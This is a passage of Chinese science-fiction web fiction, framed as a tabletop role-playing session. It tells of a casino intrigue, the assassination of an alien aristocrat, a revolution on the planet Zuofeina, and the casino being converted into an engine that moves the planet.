“别死啊!”
米普踢醒地上那个装死的赌鬼:“就算你装死也要给钱的,远离赌博从我做起知道不?以后别再干这种事了,打打牌挺好的,少赌钱,听到没有?手气还不如我呢。想打我?大人也要给钱!我躲!我还躲!嘿嘿打不着!”
它一个扭身躲过去,把自己顺成一条真正的蛇形,贴地远去:“说不过,就打人,勇敢争做垃圾人!还打!保安!保安!救命啊!”
它一路爬到禁止入内的员工休息区,美滋滋地把自己盘起来。
好了好了,让它算一算:赌场,赌资,给一个星球卖的人情,这下就算是个逃兵也能洗清身份上岸了。下面它的人生除了腰缠万贯就只剩下如鱼得水了,还有点无聊呢。要不再建个赌场?呃……希望葛亚莲卡同意自己稍微地、小小地玷污一下它的土地。说起来,葛亚莲卡去哪儿了?不是说好在当初约定的地点碰头拿凭证吗……
“我的朋友。”那个优雅的声音响起,“你是在找它吗?”
凭证在空中转动,然后“啪”一声,人类细长的肢体末端将它压在另一只末端的背面。
卓卓坎摘下帽子,向它行了一个繁复的礼节。
在他身后,葛亚莲卡背对着它。身体中的电流平稳而黯淡。
“真让人难过。”他说,“我还以为,这是一场知音间的决斗呢。”
“哈哈。”米普笑了笑,“后路不同,背景不同,即使在赌局里,我们的地位也完全不平等,这些是再公平的赌局也无法抹去的。”
卓卓坎也微笑起来:“那么,作弊就是对不公的弥补吗?”
“在命运面前,一切手段都是公平的。赌局不允许的,命运允许。否则奴隶永远是奴隶,贵族永远是贵族。正是因为我们平等地会被暗算,会被杀死,会遭到背叛,命运才如此公正。”
“那么,与你的盟友对话吧。希望你们能达成共识。”卓卓坎将左手扼在颈前,微微一躬,向一旁让开,让葛亚莲卡和米普得以对视。
葛亚莲卡道:“没什么好说的。”
“真让人难过。”米普效仿卓卓坎的语气,“我还以为我们已经达成共识了呢。”
葛亚莲卡冷笑:“难道只有生态箱赌场的人是天外来客,地上的就不算吗?畸形的生物利用高科技建立大型组织,煽动平民,摧毁秩序。秩序消失后,权力的真空会造成什么,统一了全球的我会不知道吗?离开了赌场的制衡,这些畸形的生物会做什么?奴役我们?发挥自己的政治理想?严酷的政策,远比一个阴晴不定、随机杀人的‘神’要可怕。”
米普哀声叹气:“那么,你认为四臂财团和蜜谷愿意庇护你到什么时候?你要一直延续它们在你的星球作威作福吗?”
“无论如何,这都比一个来路不明的投机者,和一群妄图掌控全球的不明人士要可信。”
“葛亚莲卡,亲爱的。”米普语气夸张地惊叹,“你说出这些话之后、在你有行动之后,你以为他——我们的赌客,库尔卓·卓卓坎·徂坎先生,还会让你一个怀有异心的土著活多久?”
卓卓坎的语调不急不缓:“我不会滥杀无辜。”
“罗图珀。”米普提醒道。
“哦?它也是你们的盟友?”卓卓坎扼颈的手仍攀在脖颈上,这是蜜谷人类的礼仪,“这我倒是不知道,我还以为是一个普通的勇武莽夫。如果你们早告诉我,我兴许不会让它赌金筹码——没有多余的乐趣,是不是?”
葛亚莲卡声波中的冷漠更甚:“我记得它。无能的棋子。正是它的死,和电视里的暴动,才让我坚定了决心。这颗星球的人们不够清楚,它们不明白自己要对抗什么,也不明白自己的责任是什么。被煽动就会燃烧,给予希望就能生存,这样不稳定的人心,绝对不能交到一个初出茅庐的统治者手里。”
“……这就是你倒戈的理由吗?”米普竹节状的身体发出轻微的碰撞,“我明白了。”
卓卓坎拍了两下手:“好了。看来盟友叙旧已经结束了。那么,我的朋友,你觉得我会如何处置你呢?”
米普深深叹了口气,摊开身体,仰面倒在红地毯上。
“我赌输了。”它遗憾地说,“最后让我摸一把牌,然后送我上路吧!”
葛亚莲卡警惕道:“请不要怜悯它。它没有再赌的筹码。”
“死前的梳妆,蜜谷所有的死刑犯都有这个权力。”卓卓坎拽住米普的尾部,将它的身体缠在手臂上,倒着拎起来,抬到自己面前,“而且,它的作弊让我和知己的赌局作废了,但至少在命运的赌桌上,我赢得了全部。最后的游戏里,没有本金的赌客,不能有任何要求。”
葛
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亚莲卡斟酌着词句:“恕我直言,您在赌桌上……”
“我从不曾失去理智。看着这位败者,你还不明白吗?”卓卓坎向贵宾厅移步,然而电梯已经彻底锁死,它看着尴尬地解释“防止逃跑”的葛亚莲卡,微笑了起来,“那就去散桌。来吧,葛亚莲卡,见证一下……失败者的结局。”
员工宿舍血雨腥风,赌场门口夹道欢迎。
康烁影过了个成功的幸运,悄悄带了一把枪带进来。但以布的幸运失败了,不然他能背一大口袋的武器进来。
铃铛和刘征兰在门口“欢迎光——临(轻声)”,康烁影和以布一边谦虚一边走红毯:“过奖,过奖。”
铃铛揶揄以布:“前面几次都是六点直接走,第一次进赌场的感觉怎么样啊?”
以布在老虎机的灯光里说:“感觉贫穷。”
“不要感觉,就是。”
以布痛苦地闭嘴。
刘征兰面向康烁影,一脸真诚:“恭喜你啊,在撞走友方一二三四五枚棋子之后,终于力挽狂澜逆风翻盘,走到了如今这个位置,你马上就可以结束这个游戏了。”
康烁影装作没听到前半部分:“走!让我们攻陷生态箱赌场!”
“但是有个坏消息。”铃铛说。
“什么坏消息?”以布端起枪。
“红组的棋子一直在你们前面,所以先你们一步到了。等红组到了终点,你们也要完咯。”
康烁影左右摇头:“说是红组,我可一次都没见到它真人。人呢?”
“干嘛呢?”刘征兰问。
铃铛跑去看了一眼:“还在打,还是那俩赌狗。”
康烁影:“颜阎不是说那个大大卷赢了吗?”
铃铛摇身子:“不知道啊。谁能知道赌狗怎么想的。”
刘征兰:“打什么呢?又是玻璃牌?”
“呃,是。”
“你不是说这个牌种米普必会作弊吗?这次也作弊?赌什么?”
“很难不作弊,至于赌什么……我也不知道。”
一直在旁边观察四周的以布忽然问:“玻璃牌?”
“对。”
“现在是几几年?”
铃铛向电视上看了一眼。电视上正在直播唐捐的刻石人成立宣告,年轻的女人神采飞扬,一手捏着架高演讲台上的话筒,一手向外伸展开,野兽般的眼睛带着笑意和胁迫般的威慑力,直视着屏幕外的赌客们。
而赌客们并不在乎,一个爬行文明的政权颠覆与它们有什么关系?少数几个人把视线投向电视,惊讶地发现,佐斐那星球居然有一个人类的领袖。
“3077年。”铃铛说。
以布问:“这个时间,玻璃牌发明了没有?”
铃铛:“呃……”
颜阎挠头:“我看历史书记不住年份的。”
刘征兰吹口哨:“我没看到这段。”
“啊你没看吗?《玫卢公约之蜜谷、山脉联合、众管国》里的游戏发展史有讲,可好玩了。”
“你就是觉得这个名字很长很帅,故意背出来炫耀的,对吧?”
颜阎邪魅一笑:“你说得对!”她想了想,“但是差不多就是这个时间,我记得有说。玻璃牌后期成为了人类共同体的经典游戏之一,那个时期大部分小说都有提到。”
以布似乎想起了什么,但是他不确定。他手心里一紧,两枚骰子在他手里出现。
【以布灵感检定:35/50 成功】
【以布想起一件事,这是基础教育期间的常识。玻璃牌的发明者,似乎死于刻石人成立的那一年,而它的名字是——】
米普·奢里尔摸出自己的牌。
唐捐的声音在它耳边回荡:
“想不想赌把大的?”
“为了所有被剥削的、被压迫的、被当作政治的牺牲者、被当作游戏一环的生物,为了真正的和平!”
“风险更大,收益更多!”
“今天,刻石人,在此成立!”
它摸出了此生最好的一副牌。
通历3077年,佐斐那时间14月55日9点16分,唐捐宣布,刻石人正式成立。颜阎、以布和康烁影、刘征兰和铃铛,分别在电视前目睹了这历史性的一刻。
此时此刻,诺斯特巨构的工厂灯火如昼,实验星球上的灵肉正在讨论食草动物与杂食动物的平衡,数个签订了玫卢公约的迁氧王国就战事争论不休,智械的全面升级在某个实验室酝酿,藤发人豢养着所有的物种又被自然豢养,无数生灵死去,无数生灵诞生,天体自顾自地在温柔的宇宙里转动。
刻石人建立的消息,没有在佐斐那以外的任何地方掀起波澜。
这个组织将为宇宙带来无尽的传奇,它会在星体的旋转中弥散,也将在某个湿润的呼吸里重组,它的名字延续至千年后的时代,也在途中留下值得一听的回声。
但正是因为它的存在,它庞大的真身仍在深渊中晦暗不明,生物的笔尖在历史的书页上犹豫着,迟迟不能落笔。也许当它真正远去时,我们才能知晓它的全貌。当然,这是这个故事以外的事了。
109.行星的奇幻漂流
“真是好牌啊。”卓卓坎赞叹道,“有这样的牌,我相信你不用作弊了。”
奢里尔笑。它也不是主动作弊的,它只是在用自己的方式看而已。
可惜啊,蜜谷是不会了解“家畜”的生理结构的。
“但是你已经把我的信任放在赌桌上输掉了。这次,它无法成为筹码了。”外面传来连绵不断的枪声和尖叫,刻石人已经来到天上。危机在生态箱赌场里盘旋,而端坐在桌上的人笑容满面,“我允许你选择自己的死法。”
“唉……真纠结啊……”
康烁影摸着不存在的下巴:“让谁扔这个骰子呢?”
“扔到四你们就走人!加油啊!”四颗脑袋围着地上的六面骰,刘征兰、铃铛和以布在康烁影的要求下伸出肢体,向这颗骰子输送运气。
刘征兰往外看了一眼,把抬头的康烁影按回去:“现在已经进入到所有运动的最终阶段:无法控制的□□。出门就会被枪毙。”
以布举手:“我可以拖一轮。”
“别了,你那个san低得有点吓人。我怕你到时候把我们也给枪毙了。”刘征兰说,“你怎么也开始举手了,好怪。”
以布把手放下了。
在四面八方的祈求中,他拿起骰子。
【蓝组点数:3】
“就差一点!”
“……死了。”
“完蛋了,这下真的完蛋了。”
以布默不作声地拿起枪,向众人挥挥触手,走向老虎机那一层。大家目送着他远去,然后灰溜溜向有人的那几桌扎堆。
【康烁影侦查检定(出目/检定):44/60 成功】
【康烁影发现一张赌桌上有熟悉的人。】
不用kp提醒,康烁影一眼就认出了桌上的是谁。她戳戳刘征兰:“唉我问一下,你和颜女士都没发现那是奢里尔吗?”
刘征兰一顿:“外星人都长一个样。你不也没认出来。你上一次还演它呢。”
“我这个团第一次见它。”
“我的错……等一下,骰子到我手里了。”刘征兰捏了捏手里的黄铜骰子,“一个行动轮的时间变快了。”
刘征兰扔出一个2,她还是没走。她已经习惯了自己的命运,骰子在她手里消失了。
【好,下一个行动轮准备。】
【以布站在电梯口,向吊灯开了一枪。晶莹的灯身和灯泡碎作一地雨后的水潭。所有吊灯都被他打碎,只有老虎机的灯条莹莹闪光。他的举动吸引了向楼上爬来的刻石人和赌客。大部分人向他的反方向躲去,一小撮人用枪对准了他。】
【进入战斗轮】
【奢里尔 格斗检定(出目/检定):43/25 失败】
【奢里尔尝试攻击卓卓坎,没有得手。】
卓卓坎笑了起来:“真是失败啊。”
奢里尔干笑:“哈哈……是啊……”
“看起来,你已经接受自己的命运了。”
“也没有其他办法了。”
“如果你真的能杀死我,我还是乐于接受的。”卓卓坎踹开桌下的奴隶,将脚垫在它身上,“虽然你辜负了我,但我仍然认可你对赌局的热爱,那种狂喜是不能伪装出来的。可惜,这几次,都是我赢得了胜利。你的失败太令人惋惜,也许上帝真的掷骰子也说不定呢?”
奢里尔说:“也许吧。”
“那么,跟我走吧。我的飞行器在外面停着。葛亚莲卡——我将把稳定带回佐斐那。”
卓卓坎把他剩下的筹码丢在绿毡桌上,让奴隶为他拾起地上名贵的酒盏——它身边的奴隶和保镖都已经被他派去下层,防止刻石人前来打扰它的雅兴。他随手留下的那名奴隶膝行而来,跪在他身后,拾起酒杯放在桌上。
然后用身上突出的硅刺扣动扳机。
激光贯穿了人类的胸膛。
他脚边,一枚显示着1的骰子隐去形状。
康烁影和铃铛拍手相庆:耶!虽然不知道发生了啥,但总之红组还剩两点才到中点,有机会!
【以布死亡】
【请蓝组掷骰】
两人笑容消失。
康烁影拿起那枚骰子把它笼在触须间,往里面呼哧呼哧扇气,铃铛转过身体不去看,生怕自己的视线带来厄运。
【蓝组点数:3】
康烁影轰然倒地:“……完蛋了。”
刘征兰没怎么管这边,她一直躲在桌子下面关注剧情。卓卓坎的胸膛被贯穿后发生了什么?她把头偏了一个角度,继续看。
那名开枪的奴隶向奢里尔:“我没有名字,请叫我小珀吧。”
惊讶定格在卓卓坎的脸上。随着血色的消失,他逐渐意识到了什么。
“你是那个被赢走的佛南内耶……”
“是我。”小珀道,“我贴身照顾您二十二年,知道您认不出来我和同族的区别。”
“哦?你成为了别人的奴隶?”
“我现在是自由身。”对方说,“而自由身可以为了自己做选择,也自己承担后果。”
奢里尔大笑:“这不是正好!正像我说的,正是因为我们平等地会被暗算,会被杀死,会遭到背叛,命运的赌局才如此公正。你的赌局结束了,是小珀赢了。”
卓卓坎优雅的面具如同老旧的墙面般剥落,一种难堪的狰狞从他灵魂中浮现:“我和它……?我们之间从来没有赌局……这是你的计策……?你胜利了……”
奢里尔翘起尾部:“我从头到尾,毫不知情!要是知道,我才不会牺牲一个罗图珀呢!同是赌局,它的获胜概率可比小珀大多了。我是赌徒,又不是傻子!”
它恍然大悟,“难道说,自称好赌、嗜赌、真正的赌客,却容不得公平的赛场上,一场以弱胜强的典范?”
卓卓坎冷笑:“如果这称得上公平……”
“在失败、暗杀、背叛、死面前,又有什么是不公的呢?”奢里尔愉快地搂住小珀,“恭喜你,朋友!一个伟大的壮举!”它把一枚金筹码以一个平衡的状态竖在它身上,“你赢了!”
小珀将那枚筹码摘下来,用肢体将它掰碎。金筹码比想象中易碎,筹码里面的并非金属,而是一种薄脆的人工材料,沉甸甸的手感全靠外面的涂层。掰开之后,无数的金粉像节日的彩带一样漏出来。
卓卓坎看见这两个作弊者欢呼雀跃,嘴边溢出一丝冷笑。
他转头看向葛亚莲卡,它从始至终都冷静地站在一旁,无悲无喜。他知道葛亚莲卡并不从心底服从自己,但他有它的软肋。
“葛亚莲卡……杀死它们,送我回星舰。”他捂着嘶嘶漏气的喉咙,仿佛自始至终都在优雅地践行蜜谷的礼仪,“我让你的佐斐那免于被毁灭。”
葛亚莲卡的六边形身体向下降落:“我要如何相信你。”
“除此之外,你别无选择。”卓卓坎笑了,“杀与不杀,你的星球都会被荒唐的刻石人掌控。杀了它们,你作为统一的英雄,劝阻你的臣民,把我送回飞行器,让我受到治疗。我还有可能活下来,到时候,你的佐斐那也有可能得救。”
葛亚莲卡起身,恭敬地向他行礼。
“抱歉,恕难从命。”
在它身后,粗鲁的赌客、赌局里战战兢兢的倒霉蛋、装死的路人、醉生梦死的观众,渐渐聚拢上来。它们向葛亚莲卡行礼,上前称赞小珀的义举,还有一些拥抱奢里尔,诉说对它的敬佩。
粗鲁的赌客结出晶体,仿佛是泪流满面:“我……我没想到能见到您……葛亚莲卡……我一直梦想着可以和您见面……”
葛亚莲卡声音温柔:“不必多礼,总统。我对您的支持感到万分欣喜。”
战战兢兢的倒霉蛋之一发出年轻的声音:“葛……葛亚莲卡……我是库哈,这位是伏里沙,我的邻居,永远的朋友!我们非常……非常崇拜您!”
它身边那位腼腆地点了点头。
还有一些逃到天上的流浪者,铃铛甚至在人群里发现了自己和颜阎成功逃脱那次使用的棋子,它们也被回收了。流浪者营地也出了一些人,牙牙乐、方块和白城流浪者营地的管理者显然是后来的,表情都有一些尴尬。
“我记住你们了。”葛亚莲卡向它们一一致意,“我记住了你们所有人。我永远不会忘记你们的。感谢你们对佐斐那的帮助。”
其实这里大部分人都不知道自己在干嘛,只知道自己被征用过来免费赌博,大家都像玩游戏一样,过得挺高兴的。很多人甚至刚刚才发现它们中还有卓卓坎这种长相奇怪的生物。不过唐捐都出现在电视上了,卓卓坎的出现倒也不意外。
但是,能被本该死去的葛亚莲卡感谢,所有人都激动到几乎不能言语。
“很惊讶吗?”奢里尔问卓卓坎,“一个远在外星的赌场,它的吉祥物经理肯定有人监视,我们怎么会在赌场见面呢?我和葛亚莲卡的会面比你想象中早得多!唉,其实我们本来是想减少知情人的,但是一次性利用太多星际文明的显贵太引人瞩目,容易成为众矢之的。为了刻石人的未来,我们不得已大量启用自己人。幸好,佐斐那是一个很不错的星球。”
一息尚存的蜜谷执政官发出了嘶哑的低笑:“死于一场如此宏大的戏剧,我死而无憾。”
奢里尔无奈地叹息:“可是,小珀的确是个意外啊。我们本来的计划是利用罗图珀接近你,再劫持你要挟四臂财团——我记得你也帮助过财团搞一些走私啊什么的,不然凭证也不会在你手里——然后敲它们一笔。你的最终处置还在商讨中。但是小珀这个好孩子替我们做出了最后的决定……啊?”
它的自言自语没有回音。
“死了?”奢里尔问。
葛亚莲卡蹲下来,按住他的脖子,许久之后道:“嗯。”
“非常感谢,诸位。”它再次致意,“请乘坐电梯离开吧。”
所有人依依不舍地向葛亚莲卡道别,陆续从灯塔的电梯回到了佐斐那的地面。
奢里尔是最后离开的,它沉默地在原地站了一会儿,然后伸出自己银色的肢体:
“再见。”它说。
葛亚莲卡用身体碰了碰它的蜷曲的尾部,声音里带着笑意:“再见。”
奢里尔的身影在众多绿毡桌之间消失。
很快又从绿毡桌中重新出现。
“我还是想说话。”它道,“真的很气人,你知道吧!这个(它指着地上的卓卓坎),觉得自己死而无憾,我想想就生气!明明就是被小珀暗杀的!虽然说我们为了对付它的确想了很多办法,我也的确出千了……但牌都是我发明的,出个老千怎么了!我在军队发明的牌能被用到赌场,说明我发明的确实很好!就这还想跟我斗,我……”
葛亚莲卡忍无可忍:“你可以走了!”
奢里尔可怜巴巴:“我真走了?”
“走吧走吧。”
“拜拜。”
“拜拜拜拜。”葛亚莲卡想了想又叫住它,“顺便一提,虽然玻璃牌最近很火,但远远不到正式赌场可以运用的地步。”
“啊?”按电梯的奢里尔猛然转身。
葛亚莲卡微笑:“但是佐斐那强盛之后,就说不定了。”
电梯载着奢里尔下降,它最后的动作是高高翘起尾巴。伴随着它的身影在地面上消失,一句远远的欢呼在电梯井里回荡:“有——品——”
此时此刻,偷听的几个生物松了口气。
“结束了吗?”铃铛问。
刘征兰左右看了看:“应该……结束了?”
康烁影却本能地感到一丝不对劲:“唉你们说,葛亚莲卡为什么不走?”
铃铛说:“给卓卓坎收尸吧。”
“你可以问一问卓卓坎为什么不走。”刘征兰指着地上那一具尸体,企图吓唬一下康烁影。但康烁影的身体却直直冲着她指的方向,一动不动。扭过身子去看,铃铛也是一样。她就像是被两具雕塑夹在中间。
意识到事情不对,刘征兰立刻扭头。
只见卓卓坎的身体抽动了数下,从地上缓缓爬起来。
酒液和鲜血浸染的衣装和惨白而阴鸷的脸,令他看起来像一只从坟墓里爬出来的吸血鬼。蜜谷的法律不允许随意剪去的头发上落满筹码碎裂后的金粉,像是蜂蜜浣洗的华服。
“你们这些……”他的声音断断续续,“爬行文明的……劣等种……”
他用赌桌撑住摇摇欲坠的身体,一点点向电梯的方向挪去。
躲在桌子下面的铃铛忍不住撞了一下桌腿,让他重重摔在地上。
但是执政官就是执政官,很有生命力。他再次挣扎着起身,完全没有背打败的意思。桌子下面的几位都有点佩服他了。刘征兰说要是她这么摔一下,肯定尬得抬不起头。
“他怎么还能站起来?”铃铛百思不得其解,“不是死了吗?”
“说不定是计中计中计!”康烁影提出猜想,“总不可能是没仔细验尸。”
桌子下面陷入了一个微妙的沉默。
“不是没仔细验尸,对吧?”
刘征兰扔了个骰子。
【刘征兰侦查检定(检定/出目):47/55 成功】
【刘征兰发现,葛亚莲卡体内的电流十分不稳定,这在提昏中代表着不知所措。】
康烁影:“真是验尸失误?”
铃铛帮它狡辩:“人类的构造不是所有迁氧都能搞明白的好吧。你有办法去判断一个坎尼亚是不是活着吗?你也只会看它动不动,对吧?”
康烁影捶地哀叹:“太低级了!”
刘征兰反而发出了真诚的笑声:“这才是我熟悉的世界。这种粗糙感,令人安心。”
葛亚莲卡虽然意外,却并不惊慌。它静静看着卓卓坎做最后的挣扎:“人类的构造真是奇妙。”
卓卓坎也失去了游刃有余的笑容,他望着葛亚莲卡,眼睛里像是要喷出火焰:“佐斐那……我记住了……”
“你记住吧。”葛亚莲卡淡淡地说,“记住这个葬送了你的地方。”
卓卓坎一边说话,一边缓缓向后退:“这么有信心……我的飞行器只有我能发动……咳咳……哦……呵呵……你的臣民们带走了凭证……它们能拿凭证做什么?开走……这个赌场吗?”
“很接近了。”葛亚莲卡说,“再猜一猜。”
“你要放弃你的佐斐那……?”
葛亚莲卡说:“倒也不是。”
电视机瞬间炸开,零件滚落一地。
从那个严丝合缝的杯状铜管里,一个嗡鸣的闪电球钻出来。它的身体里有无数电弧吱吱作响,而它的身体居然澄澈得像一束琉璃的火焰。
刘征兰都不用过灵感就认出来了。
这是她在电视追凶里见过的那个奇妙的幽灵。
与此同时,康烁影也想起来了什么。
她见过这个东西。在上一个团里,她们还一起抓过它。
这是奇点学院实验室里那个游离体!
火焰拔地而起,纯净的烈焰宛若万朵蓝花在春日绽放。生态箱赌场的地面和墙壁轰然作响,像是承受万吨巨力的建材发出齐声怒吼。
地面上的佐斐那居民看见,天空仿佛地震的地壳,裂出一道狰狞的缝隙。钢管、复合材料、纤维和热熔液体从云的伤口中,带着划开半片天空的彩色尾烟,光彩熠熠,灿烂闪烁,焚烧整片天际。
从天尽头灯塔撤下来的佐斐那居民看见,裂痕以灯塔为中心,呈圆形向外扩散。直至灯塔彻底和天空——或者说赌场的底座断开,成为一座悬空孤岛。
天地动摇,火影如梦,葛亚莲卡透明的身躯像火中一块凛凛寒冰。
“介于生态箱赌场的庞大规模,我一直苦恼于该如何处置它。”它的声音清晰地响起,“一位人类男性为我提供了想法。听说你们的文明里,有一个移动的太空巨构,叫诺斯特是吗?”
火舌爬上卓卓坎的衣襟:“你……你要用生态箱赌场作为发动机……开动佐斐那?”
“这本来只是一个设想。感谢你们提供的高科技材料和赌场与佐斐那地面深度链接的地基。”
“荒唐……荒唐!凭证不可能被启用……那些离开赌场的佐斐那人不可能这么快……今天以前的人出入赌场都会被我身边的奴隶检查……!”
“今天早些时候走的。”葛亚莲卡声音平静,“是个好孩子,这些事情我很放心交给它。”
此时此刻,停在刻石通讯公司前的颜阎毫无参与感。
啥啊?咋了?世界末日啦?维苏威火山喷发啦?
橱窗里的电视机、还有所有人家里的电视机里,唐捐在有序安排撤离和避难。她就像实时掌握了所有人的动向一样,任何有电视的地方都逃不过她的眼睛。
颜阎的飞行器也在唐捐的指引下飞到一个安全的位置,但是这个位置越看越不对劲——这里人太少了,显然是大部分都撤离了,显现出一种渗人的荒芜。这种荒芜带来一种诡异的负重感,她感觉自己的飞行器都有点开不动了。
她心道不妙,当场就要跑路。结果电视里钻出一个游离体,吓得她一个后仰滚到地上,又灵活地顺势爬起来:“干什么的!”
游离体“唰”地消失了。颜阎在电视追凶里见过这鬼魂一样的东西,心里有了个基本的判断:应该是根据某种波段往返的,或者简单一点,也许是像恶魔城游戏一样,把电视箱当作传送点,一路传送过来的?
没等她思考出来什么,飞行器外面传来“砰砰砰”的拍门声。
这百米高空还有什么人?
她顿时想起一堆怪谈,什么斯莫尔灯塔、血淋淋的大腿、熊敲门……要是身边有人在,她还能假装不害怕挺身而出一下,但是身边没人,她就彻底怂了,干脆闭着眼睛钻到控制台下面,装缩头乌龟。
“砰砰砰……砰砰砰……”
“开……开门!”
“砰砰砰……”
“开门!”
颜阎从控制台下面爬出来。
好熟悉的声音。
她降低速度,打开舱门。祖兰替的身体里浮着一个巨大的包袱,咕噜咕噜滚进来:“总算找到一个路过飞行器了,要不是我跳楼扒杆,还真不一定能上来。”
颜阎由衷道:“体力不错啊。”
“过奖!”祖兰替一个箭步窜到控制台旁,“快!去刻石通讯!葛亚莲卡叛变了!”
然而整艘飞行器依然笔直地朝着荒芜的深处驶去。任凭祖兰替如何操纵,方向都没有丝毫变化。
“怎么回事!”
“我也不知道!”
这个答案很快得到
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了解答。
在不远处的地面上,两个人类站在那里。
两人都穿着防护服,个子更高的女人臂弯里夹着一个空鱼缸。她一边用眼睛飞速地扫视电视里各个地区的情况,一边不间断地进行着指挥调度。另一个男人长得眉眼弯弯,但此时面色严肃,胳膊里还夹着一个平板大小的电脑。面对飞行器上下来的两人,他郑重地鞠了一躬。
“非常感谢二位的配合。”
祖兰替急不可耐:“人类,听我说。葛亚莲卡它……”
尽灯制止了它:“我都知道。”他从祖兰替地身体里拿出包袱,从里面倒出一大堆生活用品。在众多物品中,有一个小小的金筹码,那是离职时会赠送的金筹码,代表着员工和赌场的关系已经不复存在,命运从此属于自己——理论上是这样的。但是生态箱赌场第一次正式裁员,所以实际情况有待商榷。
从那枚金筹码中,尽灯掰出了一个黑色方片、一只小小的存储盘和满手的金粉。他把黑色方片拿走,而存储盘和小电脑都留给了祖兰替。
唐捐终于从指挥中抽身。长时间的睁眼令她眼中布满血丝,声音嘶哑得像声带劈断。她拉着祖兰替、颜阎和尽灯向飞行器狂奔:“快!到灯塔去!搞完这个我还要去前线!”
祖兰替不明所以地跟着人类上了飞行器:“去哪?”
“开动佐斐那!”
“啊?”
“情况就是这么个情况。”尽灯说,“学会接受。”
“那……恒星怎么办?”
“灯塔都建了,自然有它的妙用。不然你以为灯塔为什么叫灯塔?”
“这些都是你们做的?”
两人比出大拇指:“感谢奇点学院把我们派到这儿来当唯二技术人员。”
尽灯补充:“当然也离不开葛亚莲卡,以及所有佐斐那人……呃……生物的帮助。”
祖兰替紧紧跟着尽灯:“那燃料呢?点火装置呢?”
颜阎却反应过来了。她整个人往上一窜,恍然大悟:“啊!锁掉的贵宾厅!”
唐捐两手一拍比了个手枪:“聪明!”
反正卓卓坎自认清高,不上贵宾厅。传说中有喷泉影院和马戏团的贵宾厅早就被燃料填满,至于点火装置……
唐捐若无其事地再次打开电视通讯:“我都把佐斐那人的关键词触发装置换成假的了,真的总不能浪费吧。”
佐斐那所有电视里,唐捐笑容满面:“诸位,从今天开始,佐斐那将脱离恒星系,以固定路线开启在本星系的巡回之旅。刻石人将保证诸位的日常生活不受影响。所有被禁止谈论神的地区、作为游戏的筹码而枉死的人们、怀疑过天空的凡人们,从今天开始,地外生物的时代结束了!神是虚假的!”
生态箱赌场的贵宾厅,已经被假装成顾客的佐斐那人们清理出来当作燃料舱。在唐捐的触发下,一滩充满褶皱的熔融液体轰然炸开。从大量□□里取出的带电粒子推动着蓝火的发动机。整个赌场爆发出巨大的推力,将佐斐那从轨道上永恒地推离。
桌子下面的三个人绝望地捏着最后的骰子。
“我们能不能赢就靠你了!”铃铛望着康烁影手里的骰子:“中!中!中!”
康烁影郑重地扔下骰子。
【蓝组点数:2】
大家都愣住了。
康烁影通关,需要几点来着?
铃铛拿起地图看了又看,不确定地问:“正好2点?”
刘征兰接过地图,确定地点头:“2点。”
康烁影指着自己:“我通关了?”
“恭喜你啊!”“恭喜恭喜。”
“那我要怎么走呢?”
刘征兰往外面指:“卓卓坎不是说自己的飞行器还在外面吗?”
康烁影活过来了。她一扭一扭地从桌子下面爬出来,一头扎进葛亚莲卡视线内:“救命!救命!我们没走成!”
葛亚莲卡也愣了:“你……”
刘征兰帮她找补:“喝晕过去了……对,喝晕了,刚醒。”
葛亚莲卡对自己的同胞叹了口气:“卓卓坎的飞行器还在外面。”
康烁影很无辜:“他说开不走。”
“把他的尸体拖过去,总有办法能开。”
卓卓坎严格来说还不算一具尸体。他靠在电梯门口,喉咙里隐约有古怪的咕哝声。脸白得像一张没上色的画。他的眼睛还睁着,但是已经说不出什么话,已经与死无异。其他部分她们看不太到了,这个团贴心地打了码。
葛亚莲卡为三人开路,引导者她们来到老虎机那一层,让她们得以立刻找到飞行器的停放处。
卡瑟达驾驶员和一系列仆人仍在等待卓卓坎的归来。看到这位执政官变成了一具尸骸,仆人们惊声尖叫、哭泣,仿佛看到一颗恒星的坍缩。有人扑倒在主人的尸体上痛哭,也有人忏悔着搜刮飞行器里的财物,更多的生物呈现出一种空虚的茫然,像是突然长出手脚而不知该如何使用。
一些沉默的迁氧走了出来。它们感谢了众人的告知,然后排除了一些仆人。卡瑟达驾驶员拖着卓卓坎的头发,将他的整张脸压在识别屏幕上,然后砍下了他的手指压上屏幕、又淋上许多鲜血,最后甚至压着他的喉咙,逼他说出了最后的话语——不用担心,整个过程都是打码的。
“走吧。”卡瑟达驾驶员说,“我送你们去地面。希望贡献出这一架飞行器能让我们活下来。”
葛亚莲卡说:“一定可以。”
她戴上电极片,身体里的电流舞蹈般悦动起来。在震耳欲聋的轰鸣声里,它转身向赌场里走去。
康烁影心中一凛,趴在舷窗上朝它大吼:“葛亚莲卡!你去哪?”
佐斐那星球的统一者说:“生态箱赌场。”
“你不和我们一起走吗?”
“离开了蜜谷的科技,我的寿命早就该结束了。”它的声音在发动机的嗡鸣里融化,“而且,我在赌场生活了太久,醺木、电极片、易怒和赌瘾已经找上了我,连这次的策划都是一场豪赌。我不可能继续承担精神领袖的任务了。我的时代结束了。”
它转身走进了那个葬送了它半生的金红坟茔。
飞行器下降的过程中,康烁影默不作声。刘征兰一直在看电视播报,这次的主持换了个人,它一直在传来捷报,但从各种照片的细节里看,秩序的混乱和权力的真空,总归还是带来了许多伤亡。
正如以布所说——没有不流血的革命。
她们降落之后,飞行器就被团团围住。刻石通讯的员工收编了这架飞行器,上面的仆人和雇员们一部分等待审判,一部分被送去当包吃包住没工资的劳动力。
秩序在恢复,刻石人逐步掌握了佐斐那的政权。她们这个漫长的团终于结束了。
康烁影沉浸在力挽狂澜的喜悦中,刘征兰和她击掌对拳之后,社交电量耗尽,和铃铛一起坐在角落里。在这片小小的阴影里,她听到了这位外星生物的自言自语。
“可是刻石人后来怎么样呢……”
遥远的灯塔下,和尽灯、祖兰替同在赌场的操纵室内检查佐斐那地壳的运动状况的颜阎已经成了免费的打工仔。
赌场和天尽头灯塔曾经连为一体,共同构成了包裹佐斐那的一层“壳”,如今赌场成为发动机,可观察地面情况、连通天地的基础设置又没坏。赌场的凭证就是用于再利用基础设施,保证佐斐那地面安全。
“为什么让我帮忙,不让祖兰替呢?”颜阎愤怒地问。
尽灯对她比了一个噤声的手势:“它在伤心呢。”
祖兰替面前摆着尽灯的小电脑,那个存储盘插在电脑中,一个容量很大的文件出现了。
颜阎凑过去观察,发现那是满满当当的视频和扫描文件。视频里是一个熟悉的声音,在对着许多图画般的文字讲解读音。声音断断续续,是许多不同时间的录音拼凑出来的,也有一些剪得不完全的部分,还能听见声音的主人愤怒地咒骂看视频的人是个蠢货,很快又愧疚地道歉。
